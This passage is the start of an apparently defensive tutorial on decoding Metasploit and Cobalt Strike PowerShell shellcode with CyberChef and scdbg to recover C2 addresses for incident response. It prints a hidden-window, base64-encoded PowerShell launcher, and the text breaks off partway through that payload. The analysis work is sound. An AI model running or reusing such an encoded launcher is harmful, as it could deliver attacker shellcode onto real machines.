Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH